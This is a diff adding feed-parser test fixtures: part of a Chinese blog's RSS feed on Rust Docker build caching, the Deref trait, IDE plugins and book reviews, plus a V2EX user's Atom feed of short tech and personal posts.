    • 第二次执行该脚本时,如果执行完第一步得到的hash值还是 A 的话,那么 docker 会跳过执行步骤二,直接去缓存下来的结果。
    • +
    +
    +

    因为每次构建都是对自己项目的全新构建,那么我们可以考虑把下载和编译依赖库的步骤缓存下来。

    +

    缓存项目的 Rust 依赖

    +

    为了缓存项目的依赖部分,我们把 Project Rubble 的 Dockerfile 构建改成了一下的样子:

    +
    FROM clux/muslrust:stable as builder
    +
    +WORKDIR /app
    +
    +RUN USER=root cargo new rubble
    +WORKDIR /app/rubble
    +
    +COPY Cargo.toml Cargo.lock ./
    +
    +RUN echo 'fn main() { println!("Dummy") }' > ./src/main.rs
    +
    +RUN cargo build --release
    +
    +RUN rm -r target/x86_64-unknown-linux-musl/release/.fingerprint/rubble-*
    +
    +COPY src src/
    +COPY migrations migrations/
    +COPY templates templates/
    +
    +RUN cargo build --release --frozen --bin rubble
    +
    +
    +FROM alpine:latest
    +
    +COPY --from=builder /app/rubble/migrations /application/migrations
    +COPY --from=builder /app/rubble/templates /application/templates
    +COPY --from=builder /app/rubble/target/x86_64-unknown-linux-musl/release/rubble /application/rubble
    +
    +EXPOSE 8000
    +
    +ENV DATABASE_URL postgres://root@postgres/rubble
    +
    +WORKDIR /application
    +CMD ["./rubble"]
    +
    +

    这个构建过程相比于上一个版本,可以拆成两个小的步骤

    +

    构建假的项目,下载并编译依赖

    +
    RUN USER=root cargo new rubble
    +WORKDIR /app/rubble
    +COPY Cargo.toml Cargo.lock ./
    +RUN echo 'fn main() { println!("Dummy") }' > ./src/main.rs
    +RUN cargo build --release
    +
    +

    相比之前的把所有源文件一起复制到 docker 镜像,这次首先把 Cargo.toml Cargo.lock 拷贝过去,然后新建一个虚拟的、假的 main.rs 来伪造项目入口,为的是保证项目能够正常构建。

    +

    那么根据刚刚描述的 Docker 构建缓存策略,如果我们传入的两个 Cargo 文件不变(指的是项目所依赖的内容不变)的情况下,那么我们就不会在每次构建的时候都会下载和编译这些依赖,完全可以复用原来编译好的依赖。

    +

    删除自己项目的构建信息

    +
    RUN rm -r target/x86_64-unknown-linux-musl/release/.fingerprint/rubble-*
    +
    +

    这条命令是把自己项目的构建信息删除,因为我这里用的是项目 rubble 的信息,所以如果要使用到自己的项目中,请就保证这里删除的目录是正确的。

    +

    这里删除的应该是构建二进制文件的指纹 fingerprint,其实我也不太清楚为什么在 docker 构建的时候需要删除,在日常编译中却不需要,不太了解 cargo 的运行机制。但是著者试过,如果不删除这个文件,那么在下一步的真正编译项目中便会不成功。

    +

    真正的构建过程

    +
    COPY src src/
    +COPY migrations migrations/
    +COPY templates templates/
    +
    +RUN cargo build --release --frozen --bin rubble
    +
    +

    这里就是真正地把项目源文件拷贝进 docker 镜像进行编译

    +

    最小化运行镜像

    +
    FROM alpine:latest
    +
    +COPY --from=builder /app/rubble/migrations /application/migrations
    +COPY --from=builder /app/rubble/templates /application/templates
    +COPY --from=builder /app/rubble/target/x86_64-unknown-linux-musl/release/rubble /application/rubble
    +
    +EXPOSE 8000
    +
    +ENV DATABASE_URL postgres://root@postgres/rubble
    +
    +WORKDIR /application
    +CMD ["./rubble"]
    +
    +

    这一步是可选的,因为 Rust 项目编译之后便不依赖于 Cargo 环境了,编译后的二进制文件可以直接在其对应的平台上运行,所以选择了一个最小的可运行平台来跑,以缩减系统其他套件带来的资源消耗。

    +

    至此,我们把整个构建过程能缓存的部分都用缓存实现了,从之前的构建1个小时,到现在在不更新依赖的情况下10分钟完成构建,这个提升还是挺显著的。

    +

    此外,项目还重新选择了 embbed_migration 来做数据库迁移工作,有意可以参考下 diesel_migrations

    +]]>
    自动解引用.RUSThttps://www.kilerd.me/rust-auto-deref解引用应该说是 Rust 为了解决不采用 Class 来实现对象化编程的一个解决方案。假想一下如果 Python 或者 Java 之流,需要对一个结构体(准确来说应该是类)进行自定义扩展:增加字段,增加方法,重写方法等等,我们可以直接用继承的方式来实现

    +
    class Base:
    +	a: int = 2
    +
    +class Extend(Base):
    +	my_self_field: int = 3
    +
    +

    当一个函数希望传入实现了 Base 类的所有实例时,可以直接以 Base 为约束,限定其参数范围。在 Java 中就可以使用基类或者 Interface 来约束。

    +
    def base_bound(param: Base):
    +    pass
    +
    +

    这一套在 Rust 并不适用,在 Rust 中时采用 Struct + Trait 来抽象对象化。所以若想对结构体进行扩展,那么就只能再用一层结构体去包(wrap)住原来的结构体。

    +
    struct MyOwnDerefStruct(String);
    +
    +]]>
    2019-04-18 06:11:25 +08:00解引用应该说是 Rust 为了解决不采用 Class 来实现对象化编程的一个解决方案。假想一下如果 Python 或者 Java 之流,需要对一个结构体(准确来说应该是类)进行自定义扩展:增加字段,增加方法,重写方法等等,我们可以直接用继承的方式来实现

    +
    class Base:
    +	a: int = 2
    +
    +class Extend(Base):
    +	my_self_field: int = 3
    +
    +

    当一个函数希望传入实现了 Base 类的所有实例时,可以直接以 Base 为约束,限定其参数范围。在 Java 中就可以使用基类或者 Interface 来约束。

    +
    def base_bound(param: Base):
    +    pass
    +
    +

    这一套在 Rust 并不适用,在 Rust 中时采用 Struct + Trait 来抽象对象化。所以若想对结构体进行扩展,那么就只能再用一层结构体去包(wrap)住原来的结构体。

    +
    struct MyOwnDerefStruct(String);
    +
    + +

    这里我们就对 String 进行了自己的封装,这里并没有对字段进行扩展,但是这确实在 Rust 中比较常见的场景:一旦我们希望对某个特定的 Struct 实现某个特定的 Trait,同时 Struct 和 Trait 都来自第三方库(不在当前库中定义),那么为了实现impl Trait for Struct ,我们就需要解决孤儿定律(Orphan Rule),此时我们就可以用这种简单的包装方式来满足他。

    +
    +
    什么是孤儿定律 Orphan Rule?
    +

    在 Rust 中, 若想对 Struct 实现一个 Trait, 那么 Struct 和 Trait 一定要有一方是在当前库中定义的。

    +

    这个约束很好理解,也很适用。

    +

    假设一个场景:C 库中对 A 的 Struct 实现了 B 中的 Trait。此时我们在当前库中使用了 C 库和 A 库,那么我们可能会对 A 中的 Struct 误解,其可能已经被继承了很多奇怪的 Trait,会严重影响我们对 Struct 的使用

    +
    +

    同时,Rust 为了移除运行时和 GC 的消耗,实现了诸多智能指针:Box Rc Arc 等等。所以可能会出现诸如以下的包装 let param: Arc<Mutex<Box<Vec<i32>>>>; 这种在 Python 中只是简单的 a: List<int> 的包装。

    +

    为了方便这种因为语言特性导致的额外包装,Rust 提供了自动解引用 Deref 来简化编程。

    +
    #[lang = "deref"]
    +#[doc(alias = "*")]
    +#[doc(alias = "&*")]
    +#[stable(feature = "rust1", since = "1.0.0")]
    +pub trait Deref {
    +    /// The resulting type after dereferencing.
    +    #[stable(feature = "rust1", since = "1.0.0")]
    +    type Target: ?Sized;
    +
    +    /// Dereferences the value.
    +    #[must_use]
    +    #[stable(feature = "rust1", since = "1.0.0")]
    +    fn deref(&self) -> &Self::Target;
    +}
    +
    +

    若要使用 Deref Trait,我们先看看 Deref 里面有什么东西:

    +
      +
    • type Target 指的是我们希望被解引用到那个数据结构。
    • +
    • deref() 提供了一个手动调用解引用到 &Target 的方法。
    • +
    +

    回到我们写的 MyOwnDerefStruct 例子,我们包装了 String 类型,如果现在有一个接收 &String 参数的函数,在没有 Deref 的场景我们需要怎么调用他呢?

    +
    struct MyOwnDerefStruct(String);
    +
    +fn print(s: &String) {
    +    println!("{}", s);
    +}
    +
    +fn main() {
    +    let deref_struct = MyOwnDerefStruct(String::from("hello world"));
    +    print(&deref_struct.0);
    +}
    +
    +
    +

    在 L9 中,我们需要先通过 deref_struct.0 获取到 MyOwnDerefStruct 中的第一个属性 String ,然后再通过 & 来转换成 &String

    +

    如果我们直接用会 C 中的逻辑 print(&deref_struct) ,我们会得到以下的错误信息:

    +
    error[E0308]: mismatched types
    +  --> src/main.rs:23:11
    +   |
    +23 |     print(&deref_struct);
    +   |           ^^^^^^^^^^^^^ expected struct `std::string::String`, found struct `MyOwnDerefStruct`
    +   |
    +   = note: expected type `&std::string::String`
    +              found type `&MyOwnDerefStruct`
    +
    +
    +

    此时如果我们为我们的结构体 MyOwnDerefStruct 实现自动解引用的话,以上代码就可以正常编译:

    +
    impl Deref for MyOwnDerefStruct {
    +    type Target = String;
    +
    +    fn deref(&self) -> &Self::Target {
    +        return &self.0;
    +    }
    +}
    +
    +

    在上述代码中,我们告诉 Rust 编译器:「我们期望 MyOwnDerefStruct 被解到 String」,那么在编译过程中碰到需要 &String 时,编译器会自动帮我们转换。而且我们还能写出以下相当 tricky 的代码 print(&&&&&&&&&&&&&&&deref_struct);(这代码能跑的原因,可以自行去看看 Rust 内部对 & 的处理)

    +

    自动解引用还有一个好处就是,他可以直接寻址到 Target 的方法。在我们的场景里面,String 中有判断两个字符串是否相等的方法 eq 。因为自动解引用的存在,我们并不需要 deref_struct.0.eq(String::from("hello world)) 的写法。 MyOwnDerefStruct 可以直接调用 eq 方法。

    +
    assert_eq!(true, deref_struct.eq("hello world"));
    +
    +

    这样就避免了在使用智能指针的时候在代码中出现大量的 variable_box.0.method() 。避免了 .0 的出现,大大地简化了代码,同时也增加了代码的可读性。

    +

    variable.deref()*variable 的区别

    +

    使用解引用的时候需要注意的是函数 deref()* 的行为是不一样的。

    +
      +
    • deref() 的函数原型是 fn deref(&self) -> &Self::Target; 所以我们拿到的是 Target 的引用 &Target
    • +
    • * 是直接拿到 Target
    • +
    +

    所以,简单来说 variable.deref() 就等价于 &*variable

    +]]>
    科技的未来到底在哪里?https://www.kilerd.me/thought-after-reading-the-electric-state最近把电幻国度看完了,同样主题的书籍和电影有黑镜和玩家一号。但是这几个作品表达的未来都不太一样,各自导演和作者表达了对这种技术前景的担忧和喜悦。

    +]]>
    2019-02-11 08:58:38 +08:00最近把电幻国度看完了,同样主题的书籍和电影有黑镜和玩家一号。但是这几个作品表达的未来都不太一样,各自导演和作者表达了对这种技术前景的担忧和喜悦。

    + +

    玩家一号是一个彻底的乐观派。在电影里面主角和绿洲世界的创造者共同表现出了人们玩家对这个新鲜事物的接受,但是电影里面也表现出了不少预料之中的负面情绪,比如像那家专门为了寻找彩蛋而生的公司。这个专门用于寻找彩蛋的公司彻彻底底地把这个虚构出来的美好世界变成了一个追求财富的过程。

    +

    而对于主角来说,这个世界代表了一切,甚至对于其他人们普通老百姓而言,这个世界带来的也是利大于弊,他们把精神世界完全寄托于其中,而对于现实,他们只满足了其最基本的物质需求。在电影里面,人们甚至只居住在类似贫民窟的地方,这显然跟当前的社会发展是不一样的。

    +

    然而我想这也是玩家一号、黑镜和电幻国度表达的主题都是一样的。

    +

    黑镜就是一个彻彻底底的反对派,其更像是对整个科技发展的反对,因为黑镜的每一部作品都表现出了当一种科技发展到极致的时候,那种对人类摧毁性的破坏。这也是不少悲观主义者对科技发展的态度,估计黑镜的作者也是想表达这样的思想。如果一种科技没有得到克制,那么带来的破坏是远超于其便利。这个话题十分经典,无数的影视作品和文学作品都会采用这种极致的剧本来捏造戏剧性。这里就不多赘述。

    +

    相反,在电幻国度中,这种态度被得以平衡。熟悉整个小说的基调都是沉闷的,却不会想黑镜那般直截了当得表现主题。电幻国度的故事发生在一个以科技为主导的战后世界。这里的战后明确地指出了是高度科技军事化的战后。军方在用无人机进行大范围的战争后,整个社会变得民不聊生。而我们的主角,是一位身边带着一个机械玩偶的小女生。

    +

    在小说交代背景时,提及无人机驾驶员都无法生育后代,不是说无法怀孕,二十分娩时都是死婴。这更加间接地表现出了科技给人类带来的那种来自基因延续层面的极致破坏。它倒像是在表达一种如果人类高度依赖科技将无法得以延续的调调。

    +

    接着小说就以主角小女生的视角,一步一步往海岸线出发,慢慢地向我们揭露了战后世界的荒凉荒诞。整个世纪其实并不是十分出色,节奏也控制在正常套路之中。但是电幻国度是一本画册,更多的细节和震撼来自于其插画,当阅读并且沉浸在这个情景时,再仔细去看那景色的画面,那种震撼感便油然而生。整个故事只是少年女生沿途所见所闻的小故事,作者并没有直接表达出他对科技高度发展的或褒或贬态度,而是通过现象来描绘及其可能发生的后果,以警示世人。当然,这只是我阅读时的想法,他并不想黑镜和玩家一号那样直接地表达出负面或者正面的感受。电幻国度的阅读感受更加取决于读者,这无疑是一种开发性的结局,其实还有很多作品同样表达出了对于科技高速发展的担忧,但是只是在其主线发展的间隙中穿插。而这几个作品不一样,直接地把这种担忧为主线和背景进行展开。

    +

    这些年来,无论是人工智能还是其他科技的发展,都逐渐被普通百姓所关注,这显然是一件好事,更多的人关注会或多或少带来克制。从很多年前的克隆技术到现在的人工智能和大数据分析,有时候我在想科技的发展速度是不是已经超出了我们所期望,即将达到一种无法抑制的程度,当然,我不是一个彻彻底底的悲观主义者,我更加希望科技的发展方向,不是在军事,而是在更加基础的维度或者关注民生生存问题。一旦依旧是以军事为主导,那么发展的结果极其可能会跟电幻国度表现的一致。

    +

    电幻国度虽然故事并没有十分出色,但是配合其插画和配乐带来的震撼感是不亚于玩家一号和黑镜的,同时还能给你带来更多、更自由的思考空间。

    +

    带上一副耳机,找个安静的地方,一杯茶,一本书,仅此而已。

    +]]>
    入门就写一个博客程序吧.RUSThttps://www.kilerd.me/rust-how-to-learn-it +

    当你不知道要干什么的时候,那就写个博客程序吧。 —— 鲁迅

    + +

    是的,鲁迅曾经这么说过。当你的编程能力出现停滞的时候就写一个博客吧,尤其是入门阶段。更具体而言是写一个 CMS 系统,这也是我平时学习的习惯,我会一步一步解释清楚为什么我会选择这样的学习路线。

    +]]>
    2018-12-28 15:03:59 +08:00 +

    当你不知道要干什么的时候,那就写个博客程序吧。 —— 鲁迅

    + +

    是的,鲁迅曾经这么说过。当你的编程能力出现停滞的时候就写一个博客吧,尤其是入门阶段。更具体而言是写一个 CMS 系统,这也是我平时学习的习惯,我会一步一步解释清楚为什么我会选择这样的学习路线。

    + +

    易上手的角度

    +

    相对于 CS 的其他方面来说, WEB 方向一直都是一个门槛相对较低的一个方向,而且在互联网的知识储备也是最丰富的,同时也是最容易做出成品的。WEB 方向可以及时的给学习者带来足够的反馈和满足,这样会更加鼓励初学者。

    +

    相比于其他方向,WEB 方向的知识也是最浅的,初学者不需学习过多的前提条件即可开始开发作品。这样可以很容易地让初学者关注在新学语言的语法知识上面,而不会出现本末倒置的情况。毕竟这是一次学习新语言的过程,而不是学习 WEB 知识的过程。

    +

    于这样的学习目标下,一个最小型的 WEB 系统可以让我集中注意在语言层面上。一般的语言都会有一个比较成熟的 WEB 生态,那么我们可以比较轻松地学习到如何制作用户权限,如何与数据库打交道,做 CRUD。这可以是我们学习到这个语言大部分的语法,那就足够了,我们并不需要过多关注页面样式和用户交互方面,因为那不是我们的重点。

    +

    在这样的学习背景下,我写出了Project Rubble,一个用 Rust 写的博客系统,现在也正式地把博客迁移到了上面去。只有那个程序真正地被使用了,你才会发现程序上会有多少的 BUG。一次一次的BUG 修复足以给你足够多的机会去熟悉该门语言。

    +

    Rubble,乱石,这个名字十分贴合我创造这个轮子的原因。我本来就是希望这个项目可以让我真正地了解 Rust 的特点和语法,而且同时他会是我对 Rust 的一些试验的实验场。我需要确保有一个可运行的项目或者 DEMO 来验证我这些想法和技术,那么 Rubble 足以给我提供这样的环境。

    +

    在这样的基础下,Rubble 这个项目注定是不稳定的,我可能会拼命地加很多看起来很奇怪的特性进去,因为我需要他去做实验。

    +

    可行的试验场

    +

    正如上文说,一个可运行的试验场是很重要的,因为他是你学习新知识的地方,可以验证可行性的地方。

    +

    GraphQL 可以说是一个不算很新的 DSL 了,它在我的学习列表里面也停留了很久,但是就是因为没有一个可以跑的项目,导致我对 GraphQL 的认识和了解只停留在官方文档的阶段,可是这次我真正地把它加到了 Rubble 里面,同时也做了很多思考,关于用户权限的控制,关于缓存,关于递归层数等等,这些问题都是需要在真实项目中测试出来的,而不是靠文档可以提供的。

    +

    RSS 的集成却是在意外之中,不过却让我很细地了解了一次 RSS 的内部实现和组成。这虽然并不是学习的主要目的,却是 Rubble 作为一个博客程序必须的部分。

    +

    在此之后,一个简单能跑的的程序和网站就出现了,那么对于我而言就存在了一个完整地可以测试的地方了,那么接下来碰到新的知识点就可以在此基础上做修改。

    +

    我测试包括一下的内容,分布式的储存和TOKEN实验,主要是在 REDIS 中储存TOKEN,并且还研究了一番 REDIS 集群的搭建和使用,如果没有这个网站,估计我并不知道这些知识我该如何验证。

    +

    总结

    +

    Rubble 并不是一个十分优秀的项目,甚至它的项目结构都是很差的,但是却是我学习 Rust 的一个入门项目,同时也是我的技术试验场。

    +
    +

    虽然我不能保证这个方法能适合于所有初学者,但是这个方法却是可以优秀的学习方法,毕竟对于大部分初学者而言,是没有能力参与或者制作开源项目的,那么「自娱自乐」是最好的方式。

    +
    +]]>
    人家甩你很正常啊,你丑https://www.kilerd.me/fine-to-break-up-with-you如果你能重遇一个很久之前遇见过的人,你会想对她说什么。如果命运决定你只能走那么远,你会不会奋力再拼搏一下,再努力往前走两步?

    +
    +

    那么热的夏天,少年的后背被女孩的悲伤烫出一个洞,一直贯穿到心脏,无数个季节的风穿越这条通道,有一只萤火虫在风里飞舞,忽明忽暗。

    +

    ——《云边有个小卖部》

    +
    +]]>
    2018-12-24 15:31:19 +08:00如果你能重遇一个很久之前遇见过的人,你会想对她说什么。如果命运决定你只能走那么远,你会不会奋力再拼搏一下,再努力往前走两步?

    +
    +

    那么热的夏天,少年的后背被女孩的悲伤烫出一个洞,一直贯穿到心脏,无数个季节的风穿越这条通道,有一只萤火虫在风里飞舞,忽明忽暗。

    +

    ——《云边有个小卖部》

    +
    + +

    家乡是什么

    +

    父母经常要跟我说要经常回家,我也时刻在想家乡到底是什么,家乡难道不就是一家人在的地方吗?

    +

    在一个陌生的城市拼搏,一个人流浪。每逢家人打电话过来,无论是鲍参翅肚,还是白粥馒头,交给对面的永远都是「我过得很好,不用担心」。王莺莺在小说中说,什么是故乡,祖祖辈辈埋葬在这里,所以就叫故乡。仔细想了想,也对。长大了除了过年清明,其余时间都是在外打拼,即便是难得的假日,也怕望着望外走,而不是回家乡望一望。

    +

    家乡有时候就像是一座围城,心中所系,无法忘怀,却又踌躇不定,望而却步。挥不去的童年成长记忆,却又不甘被困在那一座小城默默终日。

    +

    「我花了一辈子交到的朋友扔掉,去城里认识陌生人?自己有的不要,为什么老想那些没有的。」王莺莺估计是最能看的开的一个人,很明确的知道了自己到底想要什么,到底为了什么而活。嘴上最是嫌弃那刘十三,但是在十三离乡去读大学的时候,还硬是把自己省下来的钱偷偷地塞给了十三,估计那个时候王莺莺是最难受的,仅有的一个家人要离乡背井的,不知道什么时候才能回来。

    +

    那个爱哭的孩子

    +
    +

    文刀刘,动不动就哭的十三吗?

    +
    +

    这是程霜再次见到刘十三的第一句话。是的,刘十三始终是那个爱哭的小气鬼。永远像一个长不大的孩子,只要受那么一点委屈都可以大哭一场。但是刘十三却又是让人最有感触的一个人,他的人生似乎填满了人的一生注定要走的所有坎坷。他注定是一个平凡人,就像我们每个人。

    +

    似乎每个人都会有一次彻底失败的人生那样,刘十三也是一个彻彻底底的失败者。为数不多的母亲留下来的话「努力一下考上清华」,他始终还是没能考上。倘若十三真的考上的清华,那么这个故事的走向估计还会是同样的基调,毕竟那是一个懦弱怕事,爱哭的刘十三啊。

    +

    十三最令人印象深刻的两件事估计是说走就走的寻找牡丹之旅和那个说到做到的小本本。

    +

    估计只有在那一刻,在被两只脚踩着的刘十三才会想到,怪不得人们说青春是轰轰烈烈的。那是程霜怂恿刘十三去找牡丹,却被牡丹男朋友暴打踩着脚下的场景。没人会想到那个懦弱爱哭的十三居然真的去找牡丹,而且还敢出手去打他的男朋友。估计那个时候主导着刘十三的只有愤怒了吧。但是撑着伞的程霜估计在暗暗流泪,心想「傻瓜,你不是还有我吗」 。

    +

    或许经历过那场被暴打之后,刘十三会明白为什么牡丹离开的那趟车,明明停靠时间有两分钟,而她的告白只花了一分钟。

    +

    「我会过的更好,比以前都好」在补考的教室里,在瑟瑟发抖,莫不知情的老师同学的注视下,满身泥泞的刘十三撕心裂肺地吼出了这句话。

    +

    爱上一个爱不起的人

    +
    +

    「人家抛弃你很正常啊,你丑。你忘不掉人家很正常啊,她美。」王莺莺抱着刘十三如是说。

    +
    +

    对啊,讲道理刘十三哪里配得上程霜了,他明知道自己喜欢上了她,也知道自己根本配不上她。程霜的出现估计拯救了刘十三的整个人生。

    +

    程霜,成双,这个名字暗示了成双是她一生中最渴望的事情,从小被医生诊断出活不过三年的她,坚持活到了二十岁,这本来就是一件很伟大的事情了。在第三次碰到十三后,她也知道自己这次是真的走不远了,就真正地想跟刘十三过日子,但是跟刘十三想的一样,她知道自己活不久也不应该耽误十三的一生,最后还是偷偷地离开了刘十三。

    +

    对于程霜而言,最后陪伴刘十三的那段日子估计幸运地体验体验完了本来她能度过的一整个人生。陪伴刘十三,做了一个尽责的妻子。跟刘十三在面馆捡的小女孩让她做了一次幸福的妈妈。那一句「走吧,回家,孩子他爸」,抱着孩子,手挽着十三的手,程霜这时候是极其幸福的。到家后,家有一老王莺莺,左一声「乖孩子」,右一声「孙媳妇」,那应该是程霜这辈子听得最好听的几句话之一。

    +

    看穿不说穿

    +

    从头到底,十三是看穿了程霜对他的爱意, 孩子他爸的称呼,到船上划拳的多次询问,再到后面奶奶离开人世时的那声「孙媳妇在哪」 。无一不透露着程霜对刘十三的爱意,同时刘十三也无时无刻都用男性的独特的方式来表达了对程霜的爱。可惜两个人都没敢迈出最后一步,两人都在担心着自己称不上对方,怕耽误了对方的后半辈子。

    +

    有些告别,就是最后一面

    +
    +

    树叶被风吹得轻晃,阳光破碎,蝉声隐匿,像远方的潮水。有朵盛开的云,缓缓划过山顶,随风飘向天边。

    +
    +

    刘十三最终还是那么懦弱,在程霜离开人世之后才去找她。十三欠程霜的不止一句「我爱你」,程霜也不止欠十三的一句「再见」。

    +

    最终,王莺莺如愿以偿地在家乡,那个破小镇,离开了人世;程霜也如愿体验完了她想体验的一生;刘十三也可以抛下那一切挂念,远走他乡,独自拼搏。

    +]]>
    更好的 IDE 配置.RUSThttps://www.kilerd.me/rust-better-ide这段时间一直忙于折腾 Rust,自从 Rust 2018 Edition 出来之后,一个很明显的感受就是写起来更加符合一个现代化编程语言的样子,当然也有可能是我的水平太低了,还不足以体验到 Rust 那种非人类的写法和特性。

    +

    这一系列文章会是我记录 Rust 学习路程的文章,那么自然而然地就是从环境配置开始了。

    +
    +

    PS: 这一系列的文章都是以 MacOS 为基础,不会过多涉及 自编译 Rust、环境折腾等等内容,更加注重在如何高效地进行 Rust 开发和 Rust学习技巧。

    +
    +]]>
    2018-12-11 02:51:19 +08:00这段时间一直忙于折腾 Rust,自从 Rust 2018 Edition 出来之后,一个很明显的感受就是写起来更加符合一个现代化编程语言的样子,当然也有可能是我的水平太低了,还不足以体验到 Rust 那种非人类的写法和特性。

    +

    这一系列文章会是我记录 Rust 学习路程的文章,那么自然而然地就是从环境配置开始了。

    +
    +

    PS: 这一系列的文章都是以 MacOS 为基础,不会过多涉及 自编译 Rust、环境折腾等等内容,更加注重在如何高效地进行 Rust 开发和 Rust学习技巧。

    +
    + +

    Rustup

    +

    Rust 官方推荐使用 Rustup 来安装,这是一个相对好的软件,他可以帮你管理一系列的 Rust 生态。它在某种程度上像 Python 的 pipenv ,Node 的 nvmn 。Rust 的环境需要装很多东西:

    +
      +
    • cargo 项目管理和依赖管理
    • +
    • rust-std Rust 的 std 库,用于代码提示和分析
    • +
    • rustfmt 用于格式化代码
    • +
    • cargo-watch 监控文件修改以便重启服务的插件
    • +
    +

    等等,很多很多的配套软件生态。同时 Rust 自己也有三个大版本stable beta nightly 。三个版本之间的组件也各不相同。因此在版本切换的时候就需要同时更新相对于的生态组件。Rustup 就很好的帮助我们管理。

    +

    安装就不过多描述,详情可以查看这里

    +

    IDE 的选择

    +

    目前来说,Rust 最好用的有三个编译器支持 vim vs code JetBrains IntelliJ

    +

    当然如果你愿意折腾其他的IDE,可以查阅这里 Are we IDE yet

    +

    我个人大部分时间用的是 JetBrains Clion ,实际上是跟 IntelliJ 是一样的。小部分时间在使用 vs code

    +

    这里我会讲一些我日常用的 IDEA 插件

    +

    Rainbow Brackets

    +

    rainbow-brackets.jpg

    +

    这个东西可以让你更加直观地匹配到括号的范围

    +

    Highlight Bracket Pair

    +

    highlight bracket pair.jpg

    +

    在一些复杂的函数里面,可以可以比较清晰地看到当前 block 的范围

    +

    Git Conflict

    +

    这个插件是用来高亮 conflict 的范围,不需要人肉查看冲突的范围在哪个部分

    +

    Active Intellij Tab Highlighter

    +

    tab-highlighter.jpg

    +

    IntelliJ 的高亮 TAB 一直都是一个很麻烦的问题,所以这个插件可以自定义颜色用来高亮当前的 TAB

    +

    常用的几个 Cargo 组件

    +

    cargo-watch

    +

    cargo-watch 用来自动监听项目文件以重新执行编译工作。目前来说我最经常的使用场景就是

    +
      +
    • cargo watch -x run 一般用于 web 的开发
    • +
    • cargo watch -x test 用于写库时自动重新跑 Testcase
    • +
    +

    Cargo doc

    +

    这个就是自带的命令,用于生成项目的文档

    +]]>
    \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/well/v2ex-guyskk.xml b/tests/feedlib/testdata/parser/well/v2ex-guyskk.xml new file mode 100644 index 0000000..8268028 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/v2ex-guyskk.xml @@ -0,0 +1,1176 @@ + + +V2EX - guyskk +way to explore + + + + +https://www.v2ex.com/ + +2017-08-31T11:31:21Z + +Copyright © 2010-2018, V2EX + + [Python] 最近看异步 IO,发现 curio 真是好,看了一半感觉豁然开朗 + + tag:www.v2ex.com,2017-09-02:/t/387702 + 2017-09-02T11:34:21Z + 2017-08-31T11:31:21Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://github.com/dabeaz/curio
    开发文档(推荐): http://curio.readthedocs.io/en/latest/devel.html
    对比 asyncio: https://vorpus.org/blog/some-thoughts-on-asynchronous-api-design-in-a-post-asyncawait-world/

    初步看了一下源码,在架构设计上完胜 asyncio,也有很多关于实现细节的注解,对理解异步 IO 大有帮助。 + ]]>
    +
    + [分享创造] 发现 unicode 有点意思ௐ,用来做 icon 怎么样ൠ? + + tag:www.v2ex.com,2017-07-27:/t/378265 + 2017-07-27T02:27:43Z + 2017-07-27T07:12:31Z + + guyskk + https://www.v2ex.com/member/guyskk + + http://graphemica.com/unicode/characters/page/13 + ]]> + + [随想] 和圣经有关的一次奇妙经历 + + tag:www.v2ex.com,2017-07-17:/t/376049 + 2017-07-17T18:49:10Z + 2017-10-24T17:54:38Z + + guyskk + https://www.v2ex.com/member/guyskk + + 下班回去的路上,下着大雨,突然一个女生从后面追上来,问我想不想参加读圣经。 +我有点疑惑,我也不想信教(以前遇到过几次,都被我拒绝了),便回答她没时间, +她没有放弃,我继续答对宗教不怎么感兴趣,想打消她的念头。 +她已经走到我边上了,很有兴致的继续劝说。她长得很瘦小,像个小孩子。

    +

    我停了下来,发现她没有伞,便把伞往她身上移了一点,问她怎么不带伞,她说忘带了。 +我撑着伞,边走边听她讲。她说她刚工作的时候,不喜欢帮别人的忙,但拒绝别人自己心里又很难受, +那段时间非常痛苦,之后她读了圣经,明白了一些真理,世界秩序等等。 +她说圣经对她的帮助非常大,她也从痛苦中走出来了。

    +

    走了一会到了个岔路口,我发现我到了住的地方,便和她说我到了, +又想到她没带伞,便问她要去哪,她说去地铁站,我说我送你过去吧。她默许了。

    +

    我继续撑着伞,边走边和她聊。她问我知道耶稣基督吗,我说那不就是上帝吗。 +她说耶稣基督是上帝的儿子,在马厩里出生,圣经分旧约和新约,旧约讲上帝创世界, +新约讲基督传教,十二门徒,等等。她讲的不是很流畅,但能看出来她非常认真,神采奕奕。

    +

    她又问我知不知道福音书,我说听过但不知道意思。 +她说福音就是好消息的意思,给我讲圣经就是把福音传给我。 +我问她第一次给陌生人讲圣经时会不会害羞紧张,觉得不好意思,她说会, +但圣经告诉她要这么做,就不觉得害羞和紧张了。

    +

    走了很久到了地铁站,我问她要不要留个联系方式,她说好,但手机没电了, +便用我的手机给她发了好友申请。最后互说了再见,各自离开了。

    +

    我回到住处,突然觉得圣经很神奇,便搜索了一下,看到了 Livid 写的 +在 26 岁时写给 18 岁的自己。 +这篇文章我之前读过,得到不少启发,但这次特别注意到 “读《圣经》。找到一个轻便的版本,放进你随身的包里。” 这句。 +世界好奇妙,也许我也该买本《圣经》读一读了。

    +
    +
    +PS:偏个题,想起高中写作文,总是绞尽脑汁编故事,现在有故事了,却发现很难组织语言把它表达出来。 + + ]]>
    +
    + [问与答] Linux 高分屏显示文字太小了,简直要瞎,怎么配置? + + tag:www.v2ex.com,2017-05-11:/t/360688 + 2017-05-11T09:30:40Z + 2017-05-09T21:37:42Z + + guyskk + https://www.v2ex.com/member/guyskk + + 参照 https://wiki.archlinux.org/index.php/HiDPI#Cinnamon ,可以设置 2 倍缩放,但这样文字又太大了,还是瞎。算了下,1.5 倍是正好的,但是不知道怎么配置,求助! + ]]> + + [分享创造] 分享一个格式化 Python 代码的 Atom [插件的插件] + + tag:www.v2ex.com,2017-04-17:/t/355501 + 2017-04-17T14:56:41Z + 2017-04-15T14:53:41Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://github.com/Glavin001/atom-beautify 增加了一个 pybeautifier 格式化器,通过 TCP server 来格式化代码,执行的时候不需要创建新进程,所以速度比原来的 autopep8 和 yapf 快很多。

    +

    PR 在这: https://github.com/Glavin001/atom-beautify/pull/1330 ,昨天刚合并,自己用了好几个月了
    +Server 代码在这: https://github.com/guyskk/pybeautifier

    +

    快速上手:

    +
      +
    1. 安装 atom-beautify ,并选择 pybeautifier 作为默认格式化器
    2. +
    3. pip3 install pybeautifier autopep8
    4. +
    5. 启动 Server: pybeautifier 或者 pybeautifier -d (后台进程)
    6. +
    + + ]]>
    +
